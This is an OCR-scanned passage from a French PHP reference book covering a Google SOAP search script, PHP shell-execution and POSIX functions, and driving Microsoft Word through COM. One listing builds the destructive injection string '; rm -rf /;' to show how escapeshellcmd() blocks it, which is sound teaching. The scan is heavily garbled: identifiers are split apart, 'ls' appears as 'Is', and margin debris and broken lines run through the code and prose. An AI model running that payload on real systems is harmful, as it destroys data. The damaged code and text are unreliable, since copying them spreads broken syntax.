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$result = $soapCl ient»call ("doGoogl eSearch" , $recherche, 

"urn:GoogleSearch") ; 
// Affichage du resultat 
print_r($result) ; 



Le resultat obtenu est le suivant : 



stdClass Object 
( 

[documentFiltering] => 1 
[estimatedTotalResultsCount] => 7080 
[directoryCategories] => 
[searchTime] => 0.133035 
[resultElements] => Array 
( 

[item] => stdClass Object 
( 

[cachedSize] => 22k 
[hostName] => 

[snippet] => Un site pour bien apprendre le PHP et SQL , les 
x scripts commentes, le forum et les tutoriaux sont la pour 
x vous aider. 

[directoryCategory] => stdClass Object 
( 

[special Encoding] => 

[ful 1 ViewableName] => Top/World/Frangais/ 
x Informatique/Programmation/Langages/PHP 

) 



[relatedlnformationPresent] => 1 

[directoryTitle] => <b>PHP</b> <b>Facile</b> 

[summary] => <b>Apprendre</b> le <b>PHP</b>. On y trouve des 

x tutoriaux, des scripts commentes et un forum. 

[URL] => http://www.phpfacile.com/ 

[title] => <b>PHP</b> <b>Facile</b> ! Le site pour 

x <b>apprendre</b> le <b>PHP</b> simplement et <b>...</b> 

) 

) 

[endlndex] => 1 

[searchTips] => 

[searchComments] => 

[startlndex] => 1 

[estimatelsExact] => 

[searchQuery] => Apprendre PHP facile 



Ce n'est pas plus difficile que ces quelques lignes... 

A partir de la, il est facile d'elaborer un moteur de recherche personnel base sur Google. 
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Voici notre interface graphique : elle permet d'entrer les mots-cles comme sur le site de Google, 
de preciser le nombre de resultats maximum a retourner, et le site sur lequel restreindre le 
recherche (il suffira de laisser le champ vide pour faire une recherche sur tous les sites). 



3 Moteur de recherche personnel - Microsoft Internet ... - || □ || 5 



Fichier Edition Affichage Favoris Outils 
Precedence t 



Kj 2, i Recherche, 
trj http;//lo«lho5tiBiblePHP5cript5imp_per50.html '-■ L 3 OK 



Moteur de recherche Google 

Recherche: |mail | 
Nb resultats: 



Site sur iequelfatre la recherche 1 www.toutestfacile.com 
Soumettre la requete 



Figure 16.4 : 

Leformulaire rempli 
pour notre exemple 



Le script charge de traiter la requete est le suivant : 

Listing 16.9 : mpperso.php 

<html> 
<head> 

<title>Moteur de recherche personnel</title> 

<link rel ="styl esheet" type="text/css" href="style.css" /> 

</head> 

<body> 

<centerxfont col or="bl ue"> 

<hl>Resultat de la recherche</hl> 
</fontx/center> 
<?php 

// On utilisera les classes de projet PEAR 
requi re_once "S0AP/C1 ient.php" ; 

// On place ici le numero de licence obtenu sur le site de Google 
$numeroLicence = " MA_LICENCE, CETTE_CHAINE_DOIT_ETRE_REMPLACEE "; 
// Les mots cles sont stockes dans le script ici. 
$motsCles = $_POST["motscles"] ." site: " .$_POST["si te"] ; 
$nbresultats = $_POST["nbresul tats"] ; 

// Creation du client SOAP et declaration du serveur SOAP. 
$soapClient = new S0AP_C1 i ent ("http://api .googl e.com/search/beta2") ; 
// Les parametres a passer tels que decrits dans 1 'API de Google 
// (licence, 
// motscles, 

// indice du premier resultat a retourner, 
// nombre de resultats a retourner, 

// utilisation ou non du filtre cachant les resultats similaires, 

// restrictions a un pays ou domaine. . . , 

// filtrage des sites pour adultes, 

// Restriction sur la langue, 

// encodage d 1 entree, 

// encodage de sortie) 
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$recherche = array($numeroLicence, $motsCles, 0, 
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(int)$nbresultats, TRUE, "", TRUE, 
"lang_fr|lang_en", "latinl", "latinl") ; 

// Appel a la methode "doGoogl eSearch" du serveur SOAP, 

$result = $soapCl ient->cal 1 ("doGoogl eSearch" , $recherche, 
"urn:GoogleSearch") ; 

// Affichage du resultat 

echo "<font size=\"2\">" ; 

echo "<br />Temps de recherche: " .$resul t->searchTime; 
echo "<br />Estimation du nombre de resultats:". 

$resul t->estimatedTotal Resul tsCount . "<br />" ; 
echo "</font>"; 
$i = 0; 

if ($resul t->resul tEl ements) { 
foreach ($resul t->resul tEl ements as $resultat) { 
$i++; 

echo "<br />$i - <a href=\" " .$resul tat->URL. "\">" . 

$resultat->title. "</axbr />"; 
echo $resul tat->sni ppet . "<br />"; 
echo "<font size=\"l\" color=\"#666666\">" . 

$resultat->title. "</fontxbr />"; 
echo "<br />"; 



} else { 
echo 



'Pas de resultat" 



?> 

</body> 
</html> 

qui aura pour effet l'affichage suivant 
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Figure 16.5 : Resultat de la recherche 
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17.1 Execution d'un programme 

17.2 POSK 
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17.1. Execution d'un programme 



Les fonctions d'appel aux programmes exterieurs faisant partie integrante de PHP, aucune 
bibliotheque n'est necessaire pour cette partie. 

Nous avons deja vu l'utilisation des apostrophes inversees pour executer une commande, par 



CD |— 

CO CD 
— CO 

S-o 
3. o 
5 S 

exemple : o> co 

A 3 CO 

" E= 
CO 



CO 



Listing 17.1 : processus_01.php 

<?php 

echo 'dir c:/'; 

?> 



pourra afficher : 

Le volume dans le lecteur C n'a pas de nom. 
Le num.ro de s.rie du volume est A40D-542C 

R.pertoire de c:\program files\apache group\apache\htdocs\biblephpscripts\chapl8 

01/07/2002 22:25 <REP> 
01/07/2002 22:25 <REP> 

01/07/2002 22:26 22 chapl8-01.php 

1 fichier(s) 22 octets 

2 R,p(s) Iy564y647y424 octets libres 



r ^^g) Restrictions 

~ L'utilisation des apostrophes inversees pour executer une commande n'est possible 
REM ARQ JE ^ ue ^ pfjp n ' est p as en " sa f e m ode" (les hebergeurs sont souvent en safe mode) et si 
la fonction shell_exec ( ) n'a pas ete desactivee. 

sheii_exec ( ) est identique a l'utilisation des apostrophes. 



shell_exec() 

Execute et retourne le resultat de l'execution. 

Syntaxe string shell_exec(string $commande) 

$commande Commande a executer. 

retour Le resultat de la commande. 

Pour passer en argument une chaine pouvant contenir des caracteres a problemes, la fonction 
escapeshellarg ( ) permet de normaliser une chaine de caracteres destinee a etre passee en 
argument. 
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escapeshellargO 

Permet de normaliser une chaine de caracteres destinee a etre passee en argument. 

Syntaxe string escapeshel 1 arg (stri rig $parametre) 

$parametre Chaine a normaliser. 

retour Chaine normalisee. 

Pour normaliser une commande et empecher l'execution d'une autre commande, la fonction 
escapeshel lcmd ( ) permet de s'assurer que la chaine fournie sera normee. 



escapeshellcmdO 

Permet de normaliser une chaine. 

Syntaxe stri ngshel 1 cmd (stri ng $commande) 

$commande Chaine a normaliser. 

retour Chaine normalisee. 

Supposons, par exemple, que nous souhaitions lister le contenu d'un repertoire en nous basant 
sur une chaine eventuellement saisie par un utilisateur via un formulaire. L'utilisateur est alors 
libre de taper ce qu'il veut et par exemple "; rm -rf /;" (sous Windows nous pourrions 
remplacer l'exemple par "; format c: ,-"). 

Listing 17.2 : processus_02.php 

<?php 

$chaine="; rm -rf /;"; 

echo "Is /tmp/".$chaine."<br />\n"; 

echo "Is /tmp/" .escapeshel 1 cmd($chaine) . "<br />\n"; 

?> 

Voici le resultat obtenu : 

Is /tmp/; rm -rf /; 
Is /tmp/\; rm -rf A; 

Ici, nous n'avons affiche que les commandes. Dans le cas de la premiere commande, le serveur 
aurait perdu l'ensemble des fichiers s'il avait ete execute, c'est pourquoi les hebergeurs sont peu 
enclins a laisser leurs clients utiliser les fonctions d'execution de commandes... 

Pour executer une commande, il est aussi possible d'utiliser la fonction exec ( ) : 
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exec() 



Permet d'executer un programme externe. En retour, on trouvera la derniere ligne du resultat 
de la commande. 



Syntaxe 

$commande 
$sortie 

$vari abl eRetour 
retour 



string exec(string $commande[, array $sortie[, int 
$variableRetour]]) 

Commande a executer. 

Tableau contenant toutes les lignes des sorties de la commande. 
Le code de retour sera inscrit dans cette variable. 
La derniere ligne de sortie. 




Securite 

Si vous permettez awe visiteurs de passer le moindre parametre a cette fonction, 



ATTENTION n'oubliez pas d'appliquer les fonctions escapeshellarg ( ) et escapeshellcmd ( ) 
decrites precedemment. 



passthru() 

A la difference d'exec ( ) , passthru ( ) execute la commande passee en parametre et affiche la 
sortie du programme. 

Syntaxe void passthru(string $commande [, int $vari abl eRetour] ) 

$commande Commande a executer. 

$vari abl eRetour Le code de retour sera inscrit dans cette variable. 



system () 

Permet d'executer un programme externe et d'en afficher le resultat. 

Syntaxe string system(stri ng $commande [, int $vari abl eRetour] ) 

$commande Commande a executer. 

$vari abl eRetour Le code de retour sera inscrit dans cette variable, 
retour La derniere ligne de la sortie de la commande. 



17.2. POSIX 

La bibliotheque posix n'est disponible que sous les systemes de type UNIX (Linux, Mac OS 
X...), car elle fait appel a des notions de ce systeme d'exploitation. 
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Un fichier appartient necessairement a un utilisateur et a un groupe. Cet utilisateur est 
caracterise par deux parametres. D'une part, il possede un nom d'utilisateur (le 'username' ou 
'login name') et, d'autre part, tout utilisateur possede un identifiant unique de type entier 
appele UID (User IDentifier). Meme remarque pour le groupe qui a un nom (group name) et 
un identifiant unique nomme le GID (Group IDentifier). 

A chaque fichier sont associes un UID et un GID. C'est le systeme qui, ensuite, fait le rapport 
entre ces identifiants et leur denomination sur ce systeme. Le langage PHP possede une serie 
de fonctions permettant de recuperer les UID et GID a partir des identifiants et vice versa. 
C'est le module POSIX qui fournit au langage cette interaction entre le systeme d'exploitation 
et l'interpreteur PHP. 

Nom d'utilisateur et UID 

Pour recuperer un identifiant a partir d'un UID, il faut passer par l'instruction 

posix_getpwuid ( ) . 

posix_getpwuid() 

Retourne les informations sur 1'utilisateur possedant 1'UID donne en parametre (telles que 
decrites dans le fichier /etc/passwd). 

Syntaxe array posix_getpwuid(int $uid) 

$ u i d UID de 1'utilisateur. 

retour Tableau associatif contenant les cles : 

"name", nom (login) de 1'utilisateur. 

"passwd", mot de passe de 1'utilisateur (crypte ou plus probablement x 

lorsqu'un fichier /etc/shadow est utilise). 

"uid", identifiant de 1'utilisateur. 

"gid", groupe de 1'utilisateur. 

"gecos", commentaire a propos de 1'utilisateur. 

"dir", repertoire racine de 1'utilisateur, en general on parle du repertoire 
home de cet utilisateur. 

"shell", systeme de commande de 1'utilisateur. II s'agit generalement de 
bash, sh, csh ou rien comme dans notre exemple. 

<?php 

$i nfoUti 1 i sateur = posix_getpwuid(100) ; 
while (list($key, $val) = each ($i nfoUti 1 i sateur) ) { 
echo "$key = $val<br />"; 

} 

?> 

name = www 
passwd = x 
uid = 100 
gid = 101 

gecos = e-sniith web server 



dir = /home/e-smith 
shell = /bin/false 



II est, bien entendu, possible de faire la meme chose en ne connaissant, cette fois, que le nom 
de l'utilisateur. Ainsi, la fonction posix_getpwnam( ) retourne un tableau contenant les 
memes informations sur l'utilisateur que precedemment. 



posix_getpwnam() 

Retourne les informations sur un utilisateur en fonction de son nom (telles que decrites dans le 
fichier /etc/passwd). 

Syntaxe array posix_getpwnam(string $nomUti 1 i sateur) 

$nomUtilisateur Nom de l'utilisateur. 
retour Tableau associatif contenant les cles : 

"name", nom (login) de l'utilisateur. 

"passwd", mot de passe de l'utilisateur (crypte ou plus probablement 'x' 

lorsqu'un fichier I etc I shadow est utilise). 

"uid", identifiant de l'utilisateur. 

"gid", groupe de l'utilisateur. 

"gecos", commentaire a propos de l'utilisateur. 

"dir", repertoire racine de l'utilisateur, en general on parle du repertoire 
home de cet utilisateur. 

"shell", systeme de commande de l'utilisateur. II s'agit generalement de 
bash, sh, csh ou rien comme dans notre exemple. 

Pour ne recuperer que le login de l'utilisateur proprietaire du processus courant, il suffit de 
faire appel a posix_getlogin ( ) . 



posix_getlogin() 

Retourne le nom de login de la personne proprietaire du processus courant. 

Syntaxe string posix_getlogin(void) 

retour Le login en question. 

Erreur 

Dans nos essais nous avons eu comme retour : 

<b>Warning<lb>: Cannot determine your login name. Something is really wrong 
here, in <b>{chemin du script}</b> on line <b>{no Ligne}</b><br>. 
Ce qui signifie que le nom de login n 'a pas pu etre obtenu. 



REMARQUE 
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posix_geteuid() 

Retourne le numero d'identifiant du proprietaire effectif du processus courant. 
Syntaxe int posix_geteuid(void) 



a> M retour Numero d'utilisateur. II est possible d'obtenir plus de details surcegroupe 



a l'aide de posix_getpwuid ( 



posix_getuid() 

Retourne le numero d'identifiant du proprietaire reel du processus courant. 
Syntaxe int posix_getuid(void) 

retour Numero d'utilisateur. II est possible d'obtenir plus de details sur ce groupe 

a l'aide de posix_getpwuid ( ) . 



posix_seteuid() 

Permet de definir l'identifiant de l'utilisateur effectif du processus courant. II faut avoir les 
privileges adequats pour ce type d'operation (il faut generalement etre connecte en tant que 

root). 

Syntaxe boolean posix_seteuid(int $i denti f i antUti 1 i sateur) 
$identifiant 

Uti 1 i sateur Identifiant de l'utilisateur auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 



posix_setuid() 

Permet de definir l'identifiant de l'utilisateur reel du processus courant. II faut avoir les 
privileges adequats pour ce type d'operation (il faut generalement etre connecte en tant que 

root). 

Syntaxe boolean posix_setuid(int $i denti fi antUti 1 i sateur) 
$identifiant 

Uti 1 i sateur Identifiant de l'utilisateur auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 
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Nom de groupe et GID 

Pour recuperer des informations sur un groupe, le developpeur utilisera l'instruction _ I"- 1 

posix_getgrgid ( ) . S3 Ed" 
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posix_getgrgid() 

Retourne les informations sur le groupe possedant le GID donne en parametre. 

Syntaxe array posix_getpwuid(int $gid) 

$ g i d GID du groupe . 

retour Tableau indexe et associatif. Les champs indexes contiennent les noms des 

differents utilisateurs appartenant au groupe, alors que les cles sont : 

"name", nom du groupe. 
"gid", identifiant du groupe. 

"members", nombre d'utilisateurs appartenant au groupe. 

<?php 

$infogroupe = posix_getgrgid(500) ; 
while (1 ist($key, $val) = each($infogroupe)) { 
echo "$key = $val<br />"; 



CO 



CO 
CD 



name = shared 
gid = 500 

= public 

1 = admin 

2 = www 

3 = laurent 

4 = kangouroo 

5 = jukebox 
members = 6 



II est, bien entendu, possible de faire la meme chose en ne connaissant, cette fois, que le nom 
du groupe. Ainsi, la fonction posix_getgrnam( ) retourne un tableau contenant les memes 
informations sur le groupe que precedemment. 



posix_getgrnam() 

Retourne les informations sur un groupe en fonction de son nom. 

Syntaxe array posix_getgrnam(string $nomGroupe) 

$nomGroupe Nom du groupe. 
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retour Tableau indexe et associatif . Les champs indexes contiennent les noms des 

differents utilisateurs appartenant au groupe, alors que les cles sont : 

"name", nom du groupe. 
"gid", identifiant du groupe. 

"members", nombre d'utilisateurs appartenant au groupe. 

<?php 

echo "Information sur 1 1 uti 1 i sateur Laurent<br />"; 
$i nfoUti 1 i sateur = posix_getpwnam("l aurent") ; 
while (list($key, $val) = each ($i nfoUti 1 i sateur) ) { 
echo "$key = $val<br />"; 

} 

?> 

<br /> 
<?php 

echo "Information sur le groupe Laurent<br />"; 
$infogroupe = posix_getgrnam("l aurent") ; 
while (1 i st ($key, $val) = each ($i nfogroupe) ) { 
echo "$key = $val<br />"; 

} 

?> 

Information sur 1 'utilisateur Laurent 
name = 1 aurent 
passwd = x 
uid = 5001 
gid = 5001 

gecos = Laurent GUEDON 

dir = /home/e-smith/files/users/laurent 

shell = /bin/sshell 

Information sur le groupe Laurent 
name = 1 aurent 
gid = 5001 
members = 



posix_getegid() 

Retourne le numero du groupe effectif du processus courant. 
Syntaxe int posix_getegid(void) 

retour Numero de groupe. II est possible d'obtenir plus de details sur ce groupe a 

l'aide deposix_getgrgid ( ) . 
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posix_getgid() 



CD |— 

Retourne le numero du groupe reel du processus courant. 1. ™ 

Syntaxe int posix_getgid(void) ° 

— CD 

retour Numero de groupe. II est possible d'obtenir plus de details sur ce groupe a £j S 

l'aide de posix_getgrgid ( ) . 00 5 

CD 



posix_getpgrp() 

Retourne l'identifiant du groupe de processus courant. 

Syntaxe int posix_getpgrp(void) 

retour Un identifiant de groupe de processus. 



posix_setegid() 

Permet de definir l'identifiant du groupe effectif du processus courant. II faut avoir les 
privileges adequats pour ce type d'operation (il faut generalement etre connecte en tant que 

root). 

Syntaxe boolean posix_setegid(int $identifiantGroupe) 

$i denti f i antGroupe Identifiant du groupe auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 



posix_setgid() 

Permet de definir l'identifiant du groupe reel du processus courant. II faut avoir les privileges 
adequats pour ce type d'operation (il faut generalement etre connecte en tant que root). 

Syntaxe boolean posix_setgid(int $i denti fi antGroupe) 

$i denti fi antGroupe Identifiant du groupe auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 
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PID (identifiant de processus) 



posix_getpid() 



u> — Retourne l'identifiant du processus courant. 



Syntaxe int posix_getpid(void) 

retour Un identifiant de processus. 



posix_getppid() 

Retourne l'identifiant du processus parent du processus courant. 

Syntaxe int posix_getppid(void) 

retour Un identifiant de processus. 



posix_setpgid() 



Permet de placer un processus dans un groupe de processus 
Syntaxe 



$identifiant 
Processus 

$identifiant 
GroupeProcessus 

retour 



boolean posix_setpgid(int $IdentifiantProcessus, 
$identi f i antGroupeProcessus) 

Identifiant du processus a placer. 

Identifiant du groupe dans lequel placer le processus. 
TRUE en cas de succes, FALSE sinon. 



Chemins 



posix_getcwd() 

Retourne le nom du repertoire courant. 

Syntaxe String posix_getcwd() 

retour Le chemin complet du repertoire courant. 
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posix_ctermid() 

Retourne le chemin complet du terminal. 33 fo" 

— CO 

Syntaxe string posix ctermid(void) co ■= 

~~ 3. o 

retour Le chemin complet du terminal (ex. : /dev/tty). 5; S 

3 CO 

Ressources systeme 2 

Lorsqu'une machine est partagee entre plusieurs utilisateurs, il peut etre interessant de limiter les 
ressources par utilisateur, afin, par exemple, qu'un des utilisateurs ne consomme pas 90 % des 
ressources tandis que les 10 % restants sont a partager entre une vingtaine d'autres utilisateurs. 

La fonction posix_getrlimit ( ) va nous permettre de connaitre ces restrictions. 



posix_getrlimit() 

Permet de connaitre les limites imposees de partage des ressources. 
Syntaxe array posix_getrl imit() 

retour Tableau associatif indiquant les differentes limites imposees. 

<?php 

print_r(posix_getrl imit()) ; 

?> 

Array 
( 

[soft core] => 
[hard core] => unlimited 
[soft data] => unlimited 
[hard data] => unlimited 
[soft stack] => unlimited 
[hard stack] => unlimited 
[soft totalmem] => unlimited 
[hard totalmem] => unlimited 
[soft rss] => unlimited 
[hard rss] => unlimited 
[soft maxproc] => 2040 
[hard maxproc] => 2040 
[soft memlock] => unlimited 
[hard memlock] => unlimited 
[soft cpu] => unlimited 
[hard cpu] => unlimited 
[soft filesize] => unlimited 
[hard filesize] => unlimited 
[soft openfiles] => 1024 
[hard openfiles] => 1024 

) 
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posix_times() 

Recupere les differents temps du processus. 



Syntaxe array posix_times() 

0% 'a, retour Tableau associatif des differents temps : 



"ticks": nombre d'unites de temps ecoule depuis le dernier redemarrage 
de la machine. 

"utime": temps utilisateur du processus courant. 
"stime": temps systeme du processus courant. 
"cutime": temps utilisateur des processus enfants. 
"cstime": temps systeme des processus enfants. 



<?php 

print_r(posix_times () ] 

?> 



Array 
( 



[ticks] => 144168 
[utiine] => 4 
[stime] => 2 
[cutime] => 
[cstime] => 



Envoi d'un signal a un processus 

posix_kill() 

Envoie un signal a un processus dans le but de le terminer. 

Syntaxe boolean pos i x_ki 11 (i nt $identifiantProcessus, int $signal) 

$identifiant 

Processus Identifiant du processus a terminer. 

$ s i g n a 1 Numero du signal a envoyer ( 9 pour tuer le processus de maniere brutale) . 

retour TRUE si le signal a pu etre envoye, FALSE sinon. 

Informations systeme 

posix_uname() 

Recupere des informations sur le systeme d'exploitation. 
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Syntaxe 



retour 



array posix_uname() 

Tableau associatif des caracteristiques du systeme d'exploitation. 



<?php 



in cd 
— CO 



print_r(posix_uname()) ; 




?> 



Array 



CD 



[sysname] => Linux 

[nodename] => austral i a 

[release] => 2.2.19-7.0.8 

[version] => #1 Thu Jun 21 06:28:56 EDT 2001 

[machine] => i 686 



domainname 

II est possible de trouver en plus, sur certaines machines, la cle dommainname, qui 
correspond au nom de domaine du DNS. Ceci est une extension GNU qui nefait pas 
partie de POSIX 1 ; c'est pourquoi nous ne retrouvons pas cette information ici. 
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18.1. COM 



com permet d'interagir avec la plupart des applications Microsoft courantes telles que Word, 
Excel, Powerpoint, Access, Outlook ou encore MSGraph. 

Cette bibliotheque d'acces a la couche COM va nous permettre de faire realiser par le serveur 
web toutes les operations que nous pourrions faire manuellement en ouvrant ces memes 
applications. 



La bibliotheque com n'est disponible que sous Windows. 

Que ce soit avec l'archive du PHP Group ou avec EasyPHP, vous n'aurez rien a faire de 
particulier pour en profiter, puisqu'elle fait partie du noyau PHP. 

Toutefois, afin d'utiliser les constantes de COM, il faudra decommenter la ligne com 
. autoregister_typeiib = true du ficbisrphp.ini. De meme, pour des appels distants, vous 
devrez mettre com.allow_dcom a la valeur true. 



La manipulation des objets COM commence par l'instanciation d'un objet PHP par un simple 
appel du genre new COM("nom application") 



Installation 



Utilisation 



COM 



Instancie un objet COM. 



$appl i cation 

$serveur 

$encodage 



Syntaxe 



COM COM(string $appl ication [, string $serveur [, int 
$encodage]] ) 

Designation de l'application. 

Nom ou adresse du serveur DCOM (par defaut localhost). 
Indique comment convertir les chaines. Au choix : 



CP_ACP. 

CP_MACCP. 

CP_OEMCP. 

CP_SYMBOL. 

CP_THREAD_ACP. 

CP_UTF7. 

CP_UTF8. 



retour 



Objet COM. 
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Voici une serie de designations d'applications possibles : 

■ Access.Application ; 
Excel.Application ; 
Excel. Worksheet ; 
Excel.Chart ; 
MSGraph.Chart ; 
Outlook.Application ; 

■ Powerpoint.Application ; 
Powerpoint.Presentation ; 
Word.Application ; 
Word. Document. 

II existe ensuite une serie de fonctions PHP permettant de lire ou modifier des attributs de ce 
composant, d'appeler des methodes, etc. Mais tout cela peut se faire en utilisant simplement la 
notation objet de PHP. 

Ainsi, pour modifier l'attribut visible d'un objet Word et pour appeler la methode close ( ) , 
il suffira d'ecrire : 

<?php 

$word = new C0M("word. application") 

or die("Impossible de creer un objet Word"); 
$word->Vi si bl e = 1; 
$word->Qui t () ; 

?> 

La plus grande difficulty reside done dans le fait de connaitre les proprietes de ces objets. II est 
probable que les adeptes de ces solutions proprietaries qui pratiquent deja COM/DCOM s'y 
retrouveront sans mal. Pour les autres, sachez qu'il est facile de creer des scripts interessants a 
moindre frais. 

En fait, l'astuce consiste (e'est vrai pour Word, mais tres probablement aussi pour les autres 
applications) a lancer l'enregistrement d'une macro (menu Outils/Macro/Nouvelle macro), a 
taper ce que vous souhaitez faire faire au serveur, a stopper l'enregistrement de la macro et, 
enfin, a consulter le resultat obtenu. Cette derniere operation pouvant se realiser en allant dans 
le menu Outils/Macro/Macros..., en selectionnant la macro nouvellement creee, et en 
selectionnant l'option modifier qui fera apparaitre le code de la macro. 

Exemple 1 : impression d'une feuille de commande 

Notre premier exemple permet, a partir d'un formulaire HTML, de generer automatiquement 
un document Word et d'en imprimer le contenu. L' exemple pris ici est celui de l'impression 
d'une feuille de commande. II est alors possible d'imaginer, qu'a chaque nouvelle commande 
passee par un client, une feuille est automatiquement imprimee dans le bureau du magasinier, 
qui pourra alors se promener dans les rayons avec sa fiche. En Intranet, cela peut permettre a 
n'importe qui (dans un grand bureau) d'imprimer depuis son poste une etiquette au format 



COM 



standard sur l'imprimante commune (dans ce cas, aucune installation specifique n'est 
necessaire sur le poste du client, hormis le navigateur qui est generalement present par defaut ; 
en cas de modification du standard, seul le script du serveur sera a modifier et sans aucune 
intervention sur les postes clients). 

La page d'appel est un simple formulaire dont voici une capture d'ecran : 



3. Envoi d'une comniande entrainan... | - || □ ||X | 



Fichier Edition Affichage Favoris Outils ** 
Q Precedents - Q - j») g] ,/Jj 
Adresse http://hcalhost/BiblePHPScripts/ch.E OK 



Nouv^lle commande 



Nom: EmmaTocrite 



IB Rue de Perse A 
Adresse: 2087B Gaiserbourg v 



5 bornbes d 1 huile 
Commande: en spray 



^1 Termine 



Intranet local 



Figure 18.1 : 

Formulaire de saisie 



Cette page fait appel a une page, appelee impression.php, qui est chargee d'ouvrir un document 
Word, d'y ecrire un contenu, d'imprimer puis de fermer le document. 

Listing 18.1 : impression.php 

<?php 

$word = new C0M("word. application") 

or die("Impossible de creer un objet Word"); 
// Juste a titre de test pour voir ce qu'il se passe 
$word->Vi si bl e = 1; 

$word->Documents->Add() ; 



// Cree les tabulations 

// Une a 8 cm du bord gauche de la feuille avec alignement au centre 
// Une a 16 cm du bord gauche de la feuille avec alignement a droite 
$word->Sel ection->ParagraphFormat->TabStops->Add ( 

$word->CentimetersToPoints (8) , 

wdAl ignTabCenter, 

wdTabLeaderSpaces) ; 
$word->Sel ection->ParagraphFormat->TabStops->Add ( 

$word->CentimetersToPoints (16) , 

wdAl ignTabRight, 

wdTabLeaderSpaces) ; 

// Saisie du texte gauche 
$word->Selection->TypeText("Nom: ") ; 
$word->Selection->Font->Bold = wdToggle; 
$word->Sel ecti on->TypeText (stri pSl ashes ($_P0ST["nom"] ) ) ; 



1329 



Chapitre 18 L'interoperabilite avec COM 



// Passage au texte central par tabulation 
$word->Sel ecti on->TypeText ( " \t " ) ; 

// Saisie du texte central 

$word->Selection->Font->Name = "Times New Roman"; 
$word->Selection->Font->Size = 20; 
$word->Selection->Font->Bold = TRUE; 
$word->Selection->Font->Color = wdColorRed; 
$word->Selection->TypeText("COMMANDE") ; 

// Passage au texte droit par tabulation 
$word->Sel ecti on->TypeText ( " \t " ) ; 

// Saisie du texte droit 
$word->Selection->Font->Size = 12; 
$word->Selection->Font->Bold = wdToggle; 
$word->Selection->Font->Color = wdCol orBl ack; 
$word->Selection->TypeText("Date: ") ; 
$word->Selection->Font->Bold = wdToggle; 
$word->Sel ecti on->TypeText (st rf time ("%d/%m/%y") ) ; 
$word->Selection->Font->Bold = wdToggle; 

// Passage au paragraphe suivant 
$word->Sel ecti on->TypeParagraph () ; 

// Saisie du paragraphe suivant en centre et italique 
$word->Selection->ParagraphFormat->Al ignment = wdAl ignParagraphCenter; 
$word->Selection->Font->Ital ic = TRUE; 

$word->Sel ection->TypeText (stri pSl ashes($_POST["adresse"] ) ) ; 

// Passage au paragraphe suivant 
$word->Sel ecti on->TypeParagraph () ; 

// Saisie du paragraphe suivant en aligne a gauche 
$word->Selection->ParagraphFormat->Al ignment = wdAl ignParagraphLeft; 
$word->Selection->Font->Ital ic = FALSE; 

$word->Sel ecti on->TypeText (stri pSl ashes ($_P0ST ["commande"] ) ) ; 

// Selection de 1 'ensemble du texte 
$word->Selection->WholeStory() ; 

// Et encadrement en precisant les bords Haut, Bas, Gauche, Droit 
$word->Sel ecti on->Borders [wdBorderTop] ->Li neStyl e = wdLi neStyl eDoubl e ; 
$word->Sel ecti on->Borders [wdBorderTop] ->Li neWi dth = wdLi neWi dth050pt ; 
$word->Sel ecti on->Borders [wdBorderTop] ->Color = wdColorAutomatic; 
$word->Sel ecti on->Borders [wdBorderBottom] ->Li neStyl e = wdLi neStyl eDoubl e 
$word->Sel ecti on->Borders [wdBorderBottom] ->Li neWi dth = wdLi neWi dth050pt ; 
$word->Sel ecti on->Borders [wdBorderBottom] ->Col or = wdCol orAutomat i c ; 
$word->Sel ecti on->Borders [wdBorderLef t] ->Li neStyl e =wdLi neStyl eDoubl e ; 
$word->Sel ection->Borders [wdBorderLef t] ->Li neWidth = wdLi neWidth050pt ; 
$word->Sel ecti on->Borders [wdBorderLef t] ->Col or = wdCol orAutomati c ; 
$word->Sel ecti on->Borders [wdBorderRi ght] ->Li neStyl e = wdLi neStyl eDoubl e ; 
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$word->Sel ecti on->Borders [wdBorderRi ght] ->Li neWi dth = wdLi neWi dth050pt ; 
$word->Sel ecti on->Borders [wdBorderRi ght] ->Col or = wdCol orAutomat i c ; 

$word->Documents [1] ->SaveAs ("TestEtiquette.doc") ; 

$word->Appl ication->PrintOut() ; 

$word->Quit() ; 

?> 



COM->VisibleetWinNT/2000/XP S 

^ Si COM->Visible est mis a vrai, alors le document Word ne sera visible que par le ^ 2> 

proprietaire du document. Si le serveur web que vous avez installe est un service, alors = 
le proprietaire est system, (c'est-a-dire pas vous...) et vous ne verrez done pas le 
document Word. Pour le voir, ilfaut lancer le serveur web "a la main". Pour Apache, 
il vous suffit d'arreter le serveur et de lancer C:\progra~l\apache 
~ 1 \apache\apache. exe. 



eD- 



Comment sommes-nous parvenus a ce resultat ? Simplement en generant le document, tout en 
enregistrant une macro. 



TestEliquetle.doc - Microsoft Word 
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Figure 1 8.2 : L 'etiquette telle qu 'elle sera imprimee par Word 



Ceci a eu pour effet de generer le code suivant pour la macro : 

Sub Macro() 

Sel ecti on . Paragraph Format . TabStops . CI earAl 1 

ActiveDocument.DefaultTabStop = CentimetersToPoi nts (1 .25) 

Sel ecti on. Paragraph Format. TabStops. Add Position:=CentimetersToPoints(8) , 

Al ignment:=wdAl ignTabCenter, Leader:=wdTabl_eaderSpaces 
Sel ecti on . Paragraph Format . TabStops . CI earAl 1 
ActiveDocument.DefaultTabStop = CentimetersToPoi nts (1 .25) 
Sel ecti on. Paragraph Format. TabStops. Add Position:=CentimetersToPoints(8) , 
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Al ignment:=wdAl ignTabCenter, Leader :=wdTabLeaderSpaces 
Select ion. Paragraph Format. TabStops. Add Position:=CentimetersToPoints(16) , 

Al ignment:=wdAl ignTabRight, Leader: =wdTabLeaderSpaces 
Selection. TypeText Text:="Nom: " 
Selection. Font. Bold = wdToggle 
Selection. TypeText Text: = "Le Notti" & vbTab 
With Selection. Font 

.Name = "Times New Roman" 
.Size = 12 
.Bold = True 
.Italic = False 
5j S .Underline = wdUnderl i neNone 

~ io .Underl ineColor = wdCol orAutomati c 

.Stri keThrough = False 
?2 . DoubleStri keThrough = False 

.Outline = False 
.Emboss = False 
.Shadow = False 
.Hidden = False 
.Small Caps = False 
.AllCaps = False 
.Color = wdColorRed 
.Engrave = False 
.Superscript = False 
.Subscript = False 
.Spacing = 
.Scaling = 100 
.Position = 
.Kerning = 

.Animation = wdAnimationNone 
End With 

Selection. TypeText Text:="C0MMANDE" & vbTab 
With Selection. Font 

.Name = "Times New Roman" 

.Size = 12 

.Bold = False 

.Italic = False 

.Underline = wdUnderl i neNone 

.Underl ineColor = wdCol orAutomati c 

.Stri keThrough = False 

